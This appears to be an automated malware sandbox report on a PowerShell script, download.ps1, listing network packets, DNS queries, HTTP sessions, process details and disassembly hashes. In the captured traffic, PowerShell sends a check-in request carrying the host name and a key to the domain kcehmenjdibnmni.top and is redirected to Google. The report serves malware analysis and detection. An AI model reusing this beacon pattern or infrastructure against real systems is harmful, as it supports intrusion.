                                                                                                Jan 3, 2025 15:21:13.601362944 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.607532024 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.607551098 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.607597113 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.653273106 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.653286934 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.653297901 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.653309107 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.653336048 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.653383970 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.653599977 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.653610945 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.653630018 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.653644085 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.653650999 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.653666019 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.653683901 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.656019926 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.656030893 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.656095982 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.656105995 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.656107903 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.656138897 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.662252903 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.662281990 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.662292957 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.662465096 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.662477016 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.662514925 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:13.669070959 CET8049700142.250.184.228192.168.2.7
                                                                                                Jan 3, 2025 15:21:13.669109106 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:14.727536917 CET4970080192.168.2.7142.250.184.228
                                                                                                Jan 3, 2025 15:21:14.728508949 CET4969980192.168.2.745.61.136.138
                                                                                                Jan 3, 2025 15:21:24.580137014 CET5792453192.168.2.71.1.1.1
                                                                                                Jan 3, 2025 15:21:24.585073948 CET53579241.1.1.1192.168.2.7
                                                                                                Jan 3, 2025 15:21:24.586699009 CET5792453192.168.2.71.1.1.1
                                                                                                Jan 3, 2025 15:21:24.592911959 CET53579241.1.1.1192.168.2.7
                                                                                                Jan 3, 2025 15:21:25.030153990 CET5792453192.168.2.71.1.1.1
                                                                                                Jan 3, 2025 15:21:25.035167933 CET53579241.1.1.1192.168.2.7
                                                                                                Jan 3, 2025 15:21:25.035300016 CET5792453192.168.2.71.1.1.1

                                                                                                UDP Packets

                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                Jan 3, 2025 15:21:11.628015995 CET5233153192.168.2.71.1.1.1
                                                                                                Jan 3, 2025 15:21:11.994337082 CET53523311.1.1.1192.168.2.7
                                                                                                Jan 3, 2025 15:21:12.729240894 CET6099553192.168.2.71.1.1.1
                                                                                                Jan 3, 2025 15:21:12.736069918 CET53609951.1.1.1192.168.2.7
                                                                                                Jan 3, 2025 15:21:24.572216034 CET53511541.1.1.1192.168.2.7

                                                                                                DNS Queries

                                                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                Jan 3, 2025 15:21:11.628015995 CET192.168.2.71.1.1.10xa276Standard query (0)kcehmenjdibnmni.topA (IP address)IN (0x0001)false
                                                                                                Jan 3, 2025 15:21:12.729240894 CET192.168.2.71.1.1.10x911eStandard query (0)www.google.comA (IP address)IN (0x0001)false

                                                                                                DNS Answers

                                                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                Jan 3, 2025 15:21:11.994337082 CET1.1.1.1192.168.2.70xa276No error (0)kcehmenjdibnmni.top45.61.136.138A (IP address)IN (0x0001)false
                                                                                                Jan 3, 2025 15:21:12.736069918 CET1.1.1.1192.168.2.70x911eNo error (0)www.google.com142.250.184.228A (IP address)IN (0x0001)false

                                                                                                HTTP Request Dependency Graph

                                                                                                • kcehmenjdibnmni.top
                                                                                                • www.google.com

                                                                                                HTTP Packets

                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                0192.168.2.74969945.61.136.138807276C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                TimestampBytes transferredDirectionData
                                                                                                Jan 3, 2025 15:21:12.075450897 CET219OUTGET /hlofm1brkshtr.php?id=user-PC&key=62803468549&s=527 HTTP/1.1
                                                                                                User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                                                                Host: kcehmenjdibnmni.top
                                                                                                Connection: Keep-Alive
                                                                                                Jan 3, 2025 15:21:12.728065014 CET166INHTTP/1.1 302 Found
                                                                                                Server: nginx/1.18.0 (Ubuntu)
                                                                                                Date: Fri, 03 Jan 2025 14:21:12 GMT
                                                                                                Content-Length: 0
                                                                                                Connection: keep-alive
                                                                                                Location: http://www.google.com


                                                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                1192.168.2.749700142.250.184.228807276C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                TimestampBytes transferredDirectionData
                                                                                                Jan 3, 2025 15:21:12.756426096 CET159OUTGET / HTTP/1.1
                                                                                                User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
                                                                                                Host: www.google.com
                                                                                                Connection: Keep-Alive
                                                                                                Jan 3, 2025 15:21:13.469183922 CET1236INHTTP/1.1 200 OK
                                                                                                Date: Fri, 03 Jan 2025 14:21:13 GMT
                                                                                                Expires: -1
                                                                                                Cache-Control: private, max-age=0
                                                                                                Content-Type: text/html; charset=UTF-8
                                                                                                Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-EFHztpWMKYx1DmiqSjYJsw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp
                                                                                                P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
                                                                                                Server: gws
                                                                                                X-XSS-Protection: 0
                                                                                                X-Frame-Options: SAMEORIGIN
                                                                                                Set-Cookie: AEC=AZ6Zc-VYUg3zOSPhHYgFiAgT3tptMAbsJoakEpdQm_qX2t9qrk22-CWSxw; expires=Wed, 02-Jul-2025 14:21:13 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax
                                                                                                Set-Cookie: NID=520=Ecg1ltSl9HB48ffspww2yuxr2qAx9i-m_oWrNZKons_zcOS344LEl_ZcF88MbvIlCdvCBcK7rBT6kMrJ5ph6vrbf25pmACvzNK4asTSfaj-X9OqX-PWK6PuauGImvFUZivTJrqqR8khwSjYolxEALDoekqk7W7Q-5dEGCRnxSLP4GuRPZQk56Fej-l8sjLS_Yw-RVr0pkQ; expires=Sat, 05-Jul-2025 14:21:13 GMT; path=/; domain=.google.com; HttpOnly
                                                                                                Accept-Ranges: none
                                                                                                Vary: Accept-Encoding
                                                                                                Transfer-Encoding: chunked
                                                                                                Data Raw: 34 33 36 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 53 65 61 72 63 68 20 74 68 65 20 77 6f 72 6c 64 27 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2c 20 69 6e 63 6c 75 64 69 6e 67 20 77 65 62 70 61 67 65 73 2c 20 69 6d 61 67 65 73 2c
                                                                                                Data Ascii: 4360<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en"><head><meta content="Search the world's information, including webpages, images,
                                                                                                Jan 3, 2025 15:21:13.469273090 CET1236INData Raw: 20 76 69 64 65 6f 73 20 61 6e 64 20 6d 6f 72 65 2e 20 47 6f 6f 67 6c 65 20 68 61 73 20 6d 61 6e 79 20 73 70 65 63 69 61 6c 20 66 65 61 74 75 72 65 73 20 74 6f 20 68 65 6c 70 20 79 6f 75 20 66 69 6e 64 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79
                                                                                                Data Ascii: videos and more. Google has many special features to help you find exactly what you're looking for." name="description"><meta content="noodp, " name="robots"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/i
                                                                                                Jan 3, 2025 15:21:13.469285011 CET1236INData Raw: 35 33 30 2c 32 33 39 2c 32 2c 32 2c 34 2c 34 33 38 2c 38 2c 37 2c 31 2c 39 30 31 2c 37 34 2c 33 34 30 2c 31 36 39 2c 37 36 2c 31 38 33 2c 31 30 37 2c 36 31 2c 39 37 2c 31 30 37 2c 32 38 36 2c 34 38 34 2c 32 30 33 2c 35 2c 33 34 38 2c 37 30 35 2c
                                                                                                Data Ascii: 530,239,2,2,4,438,8,7,1,901,74,340,169,76,183,107,61,97,107,286,484,203,5,348,705,3,211,44,126,475,137,160,621,114,267,1,444,65,1,6,210,167,583,33,466,2,133,76,607,934,527,1368,2,346,636,2,724,5,920,1,632,1,48,884,24,650,34,24,108,291,8,213,3,
                                                                                                Jan 3, 2025 15:21:13.469311953 CET1236INData Raw: 65 69 3d 22 2b 6e 28 63 29 2c 62 2e 73 65 61 72 63 68 28 22 26 6c 65 69 3d 22 29 3d 3d 3d 2d 31 26 26 28 63 3d 70 28 63 29 29 26 26 28 65 2b 3d 22 26 6c 65 69 3d 22 2b 63 29 29 3b 76 61 72 20 66 3d 62 2e 73 65 61 72 63 68 28 22 26 63 73 68 69 64
                                                                                                Data Ascii: ei="+n(c),b.search("&lei=")===-1&&(c=p(c))&&(e+="&lei="+c));var f=b.search("&cshid=")===-1&&a!=="slh";c="&zx="+Date.now().toString();g._cshid&&f&&(c+="&cshid="+g._cshid);(d=d())&&(c+="&opi="+d);return"/"+(h||"gen_204")+"?atyp=i&ct="+String(a)+
                                                                                                Jan 3, 2025 15:21:13.469329119 CET1236INData Raw: 75 6e 63 74 69 6f 6e 28 29 7b 0a 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 73 75 62 6d 69 74 22 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 61 3b 69 66
                                                                                                Data Ascii: unction(){document.documentElement.addEventListener("submit",function(b){var a;if(a=b.target){var c=a.getAttribute("data-submitfalse");a=c==="1"||c==="q"&&!a.elements.q.value?!0:!1}else a=!1;a&&(b.preventDefault(),b.stopPropagation())},!0);do
                                                                                                Jan 3, 2025 15:21:13.469341040 CET1236INData Raw: 69 74 79 3a 68 69 64 64 65 6e 7d 23 67 62 7a 20 2e 67 62 74 63 62 7b 72 69 67 68 74 3a 30 7d 23 67 62 67 20 2e 67 62 74 63 62 7b 6c 65 66 74 3a 30 7d 2e 67 62 78 78 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 67
                                                                                                Data Ascii: ity:hidden}#gbz .gbtcb{right:0}#gbg .gbtcb{left:0}.gbxx{display:none !important}.gbxo{opacity:0 !important;filter:alpha(opacity=0) !important}.gbm{position:absolute;z-index:999;top:-999px;visibility:hidden;text-align:left;border:1px solid #beb
                                                                                                Jan 3, 2025 15:21:13.469355106 CET1236INData Raw: 61 79 3a 62 6c 6f 63 6b 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 67 62 6d 63 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 20 30 3b 70
                                                                                                Data Ascii: ay:block;list-style:none;margin:0;padding:0}.gbmc{background:#fff;padding:10px 0;position:relative;z-index:2;zoom:1}.gbt{position:relative;display:-moz-inline-box;display:inline-block;line-height:27px;padding:0;vertical-align:top}.gbt{*display
                                                                                                Jan 3, 2025 15:21:13.469367027 CET1236INData Raw: 30 3b 2a 70 61 64 64 69 6e 67 3a 32 37 70 78 20 30 20 30 3b 77 69 64 74 68 3a 31 70 78 7d 2e 67 62 7a 74 3a 68 6f 76 65 72 2c 2e 67 62 7a 74 3a 66 6f 63 75 73 2c 2e 67 62 67 74 2d 68 76 72 2c 2e 67 62 67 74 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72
                                                                                                Data Ascii: 0;*padding:27px 0 0;width:1px}.gbzt:hover,.gbzt:focus,.gbgt-hvr,.gbgt:focus{background-color:#4c4c4c;background-image:none;_background-image:none;background-position:0 -102px;background-repeat:repeat-x;outline:none;text-decoration:none !import
                                                                                                Jan 3, 2025 15:21:13.469383955 CET1236INData Raw: 33 36 31 35 64 36 34 64 2e 70 6e 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 30 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 3b 68 65 69 67 68 74 3a 31 37 70 78 3b 77 69 64 74 68 3a
                                                                                                Data Ascii: 3615d64d.png);background-position:0 0;display:block;font-size:0;height:17px;width:16px}.gbto #gbi5{background-position:-6px -22px}.gbn .gbmt,.gbn .gbmt:visited,.gbnd .gbmt,.gbnd .gbmt:visited{color:#dd8e27 !important}.gbf .gbmt,.gbf .gbmt:visi
                                                                                                Jan 3, 2025 15:21:13.469399929 CET1236INData Raw: 6e 64 2d 63 6f 6c 6f 72 3a 23 66 35 66 35 66 35 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 70 78 7d 23 67 62 6d 70 64 76 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 62
                                                                                                Data Ascii: nd-color:#f5f5f5;margin-top:2px}#gbmpdv{background:#fff;border-bottom:1px solid #bebebe;-moz-box-shadow:0 2px 4px rgba(0,0,0,.12);-o-box-shadow:0 2px 4px rgba(0,0,0,.12);-webkit-box-shadow:0 2px 4px rgba(0,0,0,.12);box-shadow:0 2px 4px rgba(0,
                                                                                                Jan 3, 2025 15:21:13.474311113 CET1236INData Raw: 23 30 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 3a 31 31 70 78 20 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 23 67 62 70 6d 73 7b 2a 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 67 62 70 6d 73 32 7b 66 6f 6e 74
                                                                                                Data Ascii: #000 !important;font:11px Arial,sans-serif}#gbpms{*white-space:nowrap}.gbpms2{font-weight:bold;white-space:nowrap}#gbmpal{*border-collapse:collapse;border-spacing:0;border:0;margin:0;white-space:nowrap;width:100%}.gbmpala,.gbmpalb{font:13px Ar


                                                                                                Statistics

                                                                                                CPU Usage

                                                                                                Click to jump to process

                                                                                                Memory Usage

                                                                                                Click to jump to process

                                                                                                High Level Behavior Distribution

                                                                                                Click to dive into process behavior distribution

                                                                                                Behavior

                                                                                                Click to jump to process

                                                                                                System Behavior

                                                                                                General

                                                                                                Target ID:0
                                                                                                Start time:09:21:03
                                                                                                Start date:03/01/2025
                                                                                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                Wow64 process (32bit):false
                                                                                                Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\download.ps1"
                                                                                                Imagebase:0x7ff741d30000
                                                                                                File size:452'608 bytes
                                                                                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:C, C++ or other language
                                                                                                Reputation:high
                                                                                                Has exited:true

                                                                                                General

                                                                                                Target ID:1
                                                                                                Start time:09:21:03
                                                                                                Start date:03/01/2025
                                                                                                Path:C:\Windows\System32\conhost.exe
                                                                                                Wow64 process (32bit):false
                                                                                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                Imagebase:0x7ff75da10000
                                                                                                File size:862'208 bytes
                                                                                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                Has elevated privileges:true
                                                                                                Has administrator privileges:true
                                                                                                Programmed in:C, C++ or other language
                                                                                                Reputation:high
                                                                                                Has exited:true

                                                                                                Disassembly

                                                                                                Reset < >

                                                                                                  Executed Functions

                                                                                                  Function 00007FFAACA32DE0 Relevance: 2.1, Instructions: 2088COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1406450708.00007FFAACA30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACA30000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaaca30000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: a36ccd6fa855b74bafa7e89a7dd03ac3143aa3b9f5e00b82ff35c19eaa76393a
                                                                                                  • Instruction ID: e9a135ddad94495ff06cc420a420de27f4e9f49834586f1ce4333190a403b8c5
                                                                                                  • Opcode Fuzzy Hash: a36ccd6fa855b74bafa7e89a7dd03ac3143aa3b9f5e00b82ff35c19eaa76393a
                                                                                                  • Instruction Fuzzy Hash: 37F2E57192DA898FF799DB288865AB47BE2EF55300F1881BDD04DC7293DE29EC45C780
                                                                                                  Function 00007FFAAC7C7B46 Relevance: .5, Instructions: 473COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: 9385ced2adfc5e6200e399f2135a67fb1939998cc405e5d91b6baca104496eb4
                                                                                                  • Instruction ID: 958cea81de4d00ec888a386014573c9e72f411ea8ac28fa56c266a28c164f5eb
                                                                                                  • Opcode Fuzzy Hash: 9385ced2adfc5e6200e399f2135a67fb1939998cc405e5d91b6baca104496eb4
                                                                                                  • Instruction Fuzzy Hash: 19F1923150CA8E8FEBA9DF28C855BE937E1FF55310F04826AE84EC7291DF3499458B81
                                                                                                  Function 00007FFAAC7C88F2 Relevance: .5, Instructions: 459COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: a2d1b5dc17f0a36476c74dc9e1e507464dc7e5c17e8813866e94590c4aa37f41
                                                                                                  • Instruction ID: 8fc6ed3cb92b378ba44eb94cba386875f3c0e79157b8b09b61aa0e57911e54c1
                                                                                                  • Opcode Fuzzy Hash: a2d1b5dc17f0a36476c74dc9e1e507464dc7e5c17e8813866e94590c4aa37f41
                                                                                                  • Instruction Fuzzy Hash: DDE1B13090DA8E8FEBA9DF28C8557E977E1FF55310F04826AE84DC7291CE74A9458BC1
                                                                                                  Function 00007FFAACA331ED Relevance: .4, Instructions: 397COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1406450708.00007FFAACA30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACA30000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaaca30000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: 892a7403ec6d5a1cb9da2ea784ea6932a44768e4fc5514b786e0a5dcc8caf36d
                                                                                                  • Instruction ID: b889de496f9e33fb6d219ca881ded60aebb7c3758820c2bb7155cba0d44bc6ab
                                                                                                  • Opcode Fuzzy Hash: 892a7403ec6d5a1cb9da2ea784ea6932a44768e4fc5514b786e0a5dcc8caf36d
                                                                                                  • Instruction Fuzzy Hash: EED1C575A2EA858FF759EB2C88655B477E2EF55300F1880B9D04DC72D3DE28EC4A8781
                                                                                                  Function 00007FFAAC7C8506 Relevance: .3, Instructions: 331COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: b1dda285166eee734ee26aef1db0b5542607e2aeaadc9655bcad6089643453c2
                                                                                                  • Instruction ID: 89b3314bad2d79945d75fc8f628bdf2b52705f991a1532aa0b7046bab4358af4
                                                                                                  • Opcode Fuzzy Hash: b1dda285166eee734ee26aef1db0b5542607e2aeaadc9655bcad6089643453c2
                                                                                                  • Instruction Fuzzy Hash: 38B1B67050DA8D8FEBA9DF28C8557E93BE1EF55310F04826EE84DC7292DA34D9458B82
                                                                                                  Function 00007FFAAC7C24B0 Relevance: .2, Instructions: 202COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: 8e5b2fa073ce38b4582ce624ec80d9aabdec875a83c3dd3cb465a4438645fe78
                                                                                                  • Instruction ID: 365bcbe455906b971cd4033509bdc248c0104dcde3bce393c40003c980e9bfd9
                                                                                                  • Opcode Fuzzy Hash: 8e5b2fa073ce38b4582ce624ec80d9aabdec875a83c3dd3cb465a4438645fe78
                                                                                                  • Instruction Fuzzy Hash: 7851F97190DB895FF71A9B5CAC565F97FA0EB56321F0442AFE08CC3193DA14AC0987D2
                                                                                                  Function 00007FFAAC69E540 Relevance: .1, Instructions: 124COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402140384.00007FFAAC69D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC69D000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac69d000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: a07c72da2f89851b981d71e15e096c4027041886112141584a0e744d4ca0518f
                                                                                                  • Instruction ID: 7b9c8a2dcd04947ceebca46d060c83d5e48a189047306e87fe1953978fc14ce5
                                                                                                  • Opcode Fuzzy Hash: a07c72da2f89851b981d71e15e096c4027041886112141584a0e744d4ca0518f
                                                                                                  • Instruction Fuzzy Hash: 2941F53040EBC48FE757DB2898459523FF0EF57220B1945EFD088CB1A3D62AE84AC792
                                                                                                  Function 00007FFAAC7C29B8 Relevance: .1, Instructions: 102COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: 4f984b7b28c99b620a8b57d7adbad4cd3bc0e6b2a37af4e9728ef69296ef7456
                                                                                                  • Instruction ID: 95e9ed6bc0e0df252c53f991d6f5cf2726d7d8302a6cd725565bd466a32487e7
                                                                                                  • Opcode Fuzzy Hash: 4f984b7b28c99b620a8b57d7adbad4cd3bc0e6b2a37af4e9728ef69296ef7456
                                                                                                  • Instruction Fuzzy Hash: 4E21E73090CA4C8FEB59DF9C984A7E97BE0EB96321F00826BD449C3152DA74985ACB91
                                                                                                  Function 00007FFAAC7C8004 Relevance: .1, Instructions: 92COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: 6f6becf755e8dc6106f38ec29a0a668795f0684e58693733bbf5f61b015539fe
                                                                                                  • Instruction ID: b8d06617e047aa02c3ecd15137b00b5ffdf107182dc04f48641d4afb1772d64d
                                                                                                  • Opcode Fuzzy Hash: 6f6becf755e8dc6106f38ec29a0a668795f0684e58693733bbf5f61b015539fe
                                                                                                  • Instruction Fuzzy Hash: 6F31DE7081A64ECEFBF59F14CC09FF932E5FF46315F408539D40D86192DA78A989CA91
                                                                                                  Function 00007FFAAC7B5095 Relevance: .0, Instructions: 49COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1402579837.00007FFAAC7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC7B0000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaac7b0000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: 70bdff8e8b286107a68ad93acbea6c9603f5ac402bbcdca636a0b8f404f4039d
                                                                                                  • Instruction ID: 197a227f958f5e53fc6ad5eb8ce238979324cc022a3fd590950d28494e729e77
                                                                                                  • Opcode Fuzzy Hash: 70bdff8e8b286107a68ad93acbea6c9603f5ac402bbcdca636a0b8f404f4039d
                                                                                                  • Instruction Fuzzy Hash: F801677111CB0C8FDB44EF0CE451AA5B7E0FB95364F10056DE58AC3665D636E881CB45
                                                                                                  Function 00007FFAACA61C72 Relevance: .0, Instructions: 39COMMON
                                                                                                  Download Yara Rule
                                                                                                  Memory Dump Source
                                                                                                  • Source File: 00000000.00000002.1407092987.00007FFAACA60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAACA60000, based on PE: false
                                                                                                  Joe Sandbox IDA Plugin
                                                                                                  • Snapshot File: hcaresult_0_2_7ffaaca60000_powershell.jbxd
                                                                                                  Similarity
                                                                                                  • API ID:
                                                                                                  • String ID:
                                                                                                  • API String ID:
                                                                                                  • Opcode ID: 7fc03b06f09c7d1c78356c129f3d0e0a429495793a3bcfd9a9461b29f42db9a5
                                                                                                  • Instruction ID: 0fa2ab2985881fb05b90dd5eeb9dad61d3394ada376702c8ec630db82e9ab641
                                                                                                  • Opcode Fuzzy Hash: 7fc03b06f09c7d1c78356c129f3d0e0a429495793a3bcfd9a9461b29f42db9a5
                                                                                                  • Instruction Fuzzy Hash: 29F09072A0D6048FE759EB1CE4458A877E1EF06324B1440B6E24CC7467DA26EC058784
                                                                                                  Function 00007FFAACA61F20 Relevance: .0, Instructions: 35COMMON
                                                                                                  Download Yara Rule
